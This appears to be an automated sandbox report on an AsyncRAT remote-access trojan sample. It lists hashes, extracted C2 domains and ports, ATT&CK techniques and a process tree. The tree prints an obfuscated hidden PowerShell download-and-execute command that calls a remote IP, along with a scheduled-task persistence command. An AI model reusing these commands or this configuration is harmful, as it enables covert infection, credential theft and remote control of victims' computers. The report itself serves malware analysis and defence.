asyncrat | 59ee98956a0a1b1302ca6dfda4eaf1b37804a5a03334ccc12d782933d70f7eed

Analysis

max time kernel
122s
max time network
153s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05/04/2024, 01:01

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General

Target
5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe
Size 66KB
Sample240405-bdmkfsgc89
SHA256 5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc
MD5 0dda2fcee8bec9941a9cf9c5bd866f10
SHA1 29dba01814ef258f12fc06f9771f8e795e0337af
SHA512 030eee3ec291fe9a5bf7b6ab1155a853eec01dc13b7319e198872c3af8826f084dda7c60955daf5e893515a528485fadf62e1ad404060b664cecddb0093ed362
SSDEEP 1536:42MX66CQkCANKu/UYF9VCFCfn2W4bpfbPkgZIcrPlTGRG:42I66CQk7Ku/UYFOEd4bpzsgZIcdqG
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat rat15 rat spyware stealer

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

RAT15

darkstorm275991.ddns.net:6606
darkstorm275991.ddns.net:7707
darkstorm275991.ddns.net:8808
mrreport.duckdns.org:6606
mrreport.duckdns.org:7707
mrreport.duckdns.org:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
true
install_file
Windows Session Manager.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000b000000015a2d-13.dat	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	2144	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2700	Windows Session Manager.exe

Loads dropped DLL 1 IoCs

pid	Process
2472	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2576	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2612	timeout.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe
2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe
2700	Windows Session Manager.exe
2700	Windows Session Manager.exe
2144	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe
Token: SeDebugPrivilege	2700	Windows Session Manager.exe
Token: SeDebugPrivilege	2144	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2700	Windows Session Manager.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 3016	2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe	28
PID 2956 wrote to memory of 3016	2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe	28
PID 2956 wrote to memory of 3016	2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe	28
PID 2956 wrote to memory of 3016	2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe	28
PID 2956 wrote to memory of 2472	2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe	30
PID 2956 wrote to memory of 2472	2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe	30
PID 2956 wrote to memory of 2472	2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe	30
PID 2956 wrote to memory of 2472	2956	5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe	30
PID 3016 wrote to memory of 2576	3016	cmd.exe	32
PID 3016 wrote to memory of 2576	3016	cmd.exe	32
PID 3016 wrote to memory of 2576	3016	cmd.exe	32
PID 3016 wrote to memory of 2576	3016	cmd.exe	32
PID 2472 wrote to memory of 2612	2472	cmd.exe	33
PID 2472 wrote to memory of 2612	2472	cmd.exe	33
PID 2472 wrote to memory of 2612	2472	cmd.exe	33
PID 2472 wrote to memory of 2612	2472	cmd.exe	33
PID 2472 wrote to memory of 2700	2472	cmd.exe	34
PID 2472 wrote to memory of 2700	2472	cmd.exe	34
PID 2472 wrote to memory of 2700	2472	cmd.exe	34
PID 2472 wrote to memory of 2700	2472	cmd.exe	34
PID 2700 wrote to memory of 592	2700	Windows Session Manager.exe	38
PID 2700 wrote to memory of 592	2700	Windows Session Manager.exe	38
PID 2700 wrote to memory of 592	2700	Windows Session Manager.exe	38
PID 2700 wrote to memory of 592	2700	Windows Session Manager.exe	38
PID 592 wrote to memory of 268	592	cmd.exe	40
PID 592 wrote to memory of 268	592	cmd.exe	40
PID 592 wrote to memory of 268	592	cmd.exe	40
PID 592 wrote to memory of 268	592	cmd.exe	40
PID 268 wrote to memory of 2144	268	cmd.exe	41
PID 268 wrote to memory of 2144	268	cmd.exe	41
PID 268 wrote to memory of 2144	268	cmd.exe	41
PID 268 wrote to memory of 2144	268	cmd.exe	41

C:\Users\Admin\AppData\Local\Temp\5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe
"C:\Users\Admin\AppData\Local\Temp\5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:2576
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpAF33.tmp.bat""
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\SysWOW64\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2612
- - C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe
    "C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2700
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\mbfswd.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:592
    - - C:\Windows\SysWOW64\cmd.exe
        
        CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:268
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Size 68KB
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
SSDEEP 1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5 SHA1 SHA512 SSDEEP

Submit Download

TarDA01.tmp

Path C:\Users\Admin\AppData\Local\Temp\TarDA01.tmp
Size 177KB
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
SSDEEP 1536:fAo/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mJ:f/J+qTR0XCy/dmASru2Aijbdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

mbfswd.bat

Path C:\Users\Admin\AppData\Local\Temp\mbfswd.bat
Size 149KB
SHA256 4589d5b17afd1ed516a3ad4b2748ae0b0325ae713b3e40eba05adb86605ef935
MD5 8f681e9844e48b62ae75fabb6f317229
SHA1 cf985e3027cf4b46236c177e66901250d7592a09
SHA512 3d592be4db8410df3e67904bd573a160f8dd43017c57e847851374f1926f4a2242f1ecdbf53fa614e0e470091ae29cf1c53c6acedc3fcfba396d5dda6de55043
SSDEEP 192:0UEPUESUEUUEtUEMUESUEMBUEhUESUE0UEP8UEEUEtUEhUEL3UEaUEMUEXUEOUEL:T9EgXKEpKbEgYyHN7qgJCBtq
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmpAF33.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpAF33.tmp.bat
Size 167B
SHA256 3224503f5bcedd2a9ccc157365ec286e4d4589d93d7a0af6d9f7270d5c4f3d8d
MD5 685db373edff8be0ed3dd189a78b075b
SHA1 c3551f7bb59f31cd10bbd84ec54d09a0cb0d24ff
SHA512 82cf212f1ddb68062ff59fc0db8503e37933384a07e0933107b87a2e3d5b48385109afe60d5894e88a34f5bf282e4abfca416c926bc71c0c8d03d8780ce7adb5
MD5 SHA1 SHA512

Submit Download

Windows Session Manager.exe

Path \Users\Admin\AppData\Roaming\Windows Session Manager.exe
Size 66KB
SHA256 5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc
MD5 0dda2fcee8bec9941a9cf9c5bd866f10
SHA1 29dba01814ef258f12fc06f9771f8e795e0337af
SHA512 030eee3ec291fe9a5bf7b6ab1155a853eec01dc13b7319e198872c3af8826f084dda7c60955daf5e893515a528485fadf62e1ad404060b664cecddb0093ed362
SSDEEP 1536:42MX66CQkCANKu/UYF9VCFCfn2W4bpfbPkgZIcrPlTGRG:42I66CQk7Ku/UYFOEd4bpzsgZIcdqG
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2144-71-0x000000006EDC0000-0x000000006F36B000-memory.dmp

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memory/2144-72-0x000000006EDC0000-0x000000006F36B000-memory.dmp

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memory/2144-78-0x000000006EDC0000-0x000000006F36B000-memory.dmp

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memory/2144-75-0x00000000023D0000-0x0000000002410000-memory.dmp

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memory/2144-74-0x00000000023D0000-0x0000000002410000-memory.dmp

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memory/2144-73-0x00000000023D0000-0x0000000002410000-memory.dmp

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memory/2700-37-0x0000000001E20000-0x0000000001E60000-memory.dmp

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memory/2700-39-0x00000000044C0000-0x00000000044D0000-memory.dmp

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memory/2700-16-0x0000000000240000-0x0000000000256000-memory.dmp

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memory/2700-36-0x0000000073F20000-0x000000007460E000-memory.dmp

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memory/2700-18-0x0000000001E20000-0x0000000001E60000-memory.dmp

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memory/2700-17-0x0000000073F20000-0x000000007460E000-memory.dmp

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memory/2700-79-0x0000000004AC0000-0x0000000004AD4000-memory.dmp

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memory/2956-12-0x0000000074610000-0x0000000074CFE000-memory.dmp

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memory/2956-2-0x00000000006F0000-0x0000000000730000-memory.dmp

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memory/2956-1-0x0000000074610000-0x0000000074CFE000-memory.dmp

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memory/2956-0-0x00000000011D0000-0x00000000011E6000-memory.dmp

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